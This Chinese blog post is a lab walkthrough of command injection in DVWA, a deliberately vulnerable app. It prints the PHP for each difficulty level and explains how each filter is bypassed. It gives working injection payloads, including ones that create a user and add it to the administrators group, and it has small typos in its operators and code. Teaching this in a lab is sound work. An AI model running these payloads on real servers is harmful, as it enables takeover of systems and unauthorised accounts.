DVWA各等級命令注入漏洞
阿新 • • 發佈:2020-12-08
漏洞描述
- 在web程式中,因為業務功能需求要通過web前端傳遞引數到後臺伺服器上執行,由於開發人員沒有對輸入進行嚴格過濾,導致攻擊者可以構造一些額外的"帶有非法目的的"命令,欺騙後臺伺服器
漏洞危害
- 如果web應用使用的是root許可權,則改漏洞可以導致攻擊者在伺服器上執行任意命令
漏洞利用
在ping時 可以使用 管道符( | ) ,& 等字元拼接執行多條命令
Eg:
ping 127.0.0.1 | net user
ping 127.0.0.1 & net user
ping 127.0.0.1 && net user
ping 127.0.0.1 || net user
- '|':前面命令輸出結果作為後面命令的輸入內容
- '&':前面命令執行後接著執行後面的命令
- '||':前面命令執行失敗的時候才執行後面的命令
- '$$':前面命令執行成功了才執行後面的命令
- 使用重定向(>)在伺服器中生成檔案,或時使用(<)從事先準備好的檔案讀入命令
eg:127.0.0.1&echo test >c:\1.txt
Command injection
level:low
<?php if(isset($_POST['Submit'])){ //post傳參 //Getinput $target=$_REQUEST['ip']; 傳入ip //DetermineOSandexecutethepingcommand. if(stristr(php_uname('s'),'WindowsNT')){ //stristr()函式:在字串中找是否存在已知的字串 //php_uname()返回執行php的系統有關資訊 //Windows $cmd=shell_exec('ping'.$target); } else{ //*nix $cmd=shell_exec('ping-c4'.$target); } //Feedbackfortheenduser echo"<pre>{$cmd}</pre>"; } ?>
漏洞分析
-
low級別本身沒有任何過濾,其中 Shell_exec()函式可以在php中去執行作業系統命令,如果不對使用者輸入的命令進行過濾,那麼理論上就可以執行任意系統命令,也就相當於直接獲得了系統級的shell
-
eg:命令執行語句
127.0.0.1 | net user
127.0.0.1 | net user test 123/add
127.0.0.1 | net localgroup administrators test/add
level:medium
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Set blacklist $substitutions = array( '&&' => '', ';' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>
漏洞分析
-
與low級別相比 medium級別多了兩句過濾語句:'&&' => '',';' => '',替換為空字元
-
繞過方法:
-
因為被過濾的只有”&&”與” ;”,所以”&”不會受影響。
Ping 127.0.0.1&net user
-
在&&中間加 ';'
Ping 127.0.0.1&;&net nser
這是因為”127.0.0.1&;&net user”中的” ;”會被替換為空字元,這樣一來就變成了”127.0.0.1&& net user” ,會成功執行。
level:high
<?php
if(isset($_POST['Submit'])){
//Getinput
$target=trim($_REQUEST['ip']);
//Setblacklist
$substitutions=array(
'&'=>'',
';'=>'',
'|'=>'',
'-'=>'',
'$'=>'',
'('=>'',
')'=>'',
'`'=>'',
'||'=>'',
);
//Removeanyofthecharactarsinthearray(blacklist).
$target=str_replace(array_keys($substitutions),$substitutions,$target);
//DetermineOSandexecutethepingcommand.
if(stristr(php_uname('s'),'WindowsNT')){
//Windows
$cmd=shell_exec('ping'.$target);
}
else{
//*nix
$cmd=shell_exec('ping-c4'.$target);
}
//Feedbackfortheenduser
echo"<pre>{$cmd}</pre>";
}
?>
漏洞分析
-
high級別與medium級別相比 黑名單機制限制的更多 過濾的更多
但是
仔細觀察到是把"| "(注意這裡|後有一個空格)替換為空字元,可以用" |"替換 成功繞過
level:impossible
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
//stripslashes(string)stripslashes函式會刪除字串string中的反斜槓,返回已剝離反斜槓的字串。
//explode(separator,string,limit)把字串打散為陣列,返回字串的陣列。引數separator規定在哪裡分割字串,引數string是要分割的字串,可選引數limit規定所返回的陣列元素的數目。
//
is_numeric(string)檢測string是否為數字或數字字串,如果是返回TRUE,否則返回FALSE。
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
漏洞分析
Impossible級別的程式碼加入了Anti-CSRF token,同時對引數ip進行了嚴格的限制,不存在命令注入漏洞。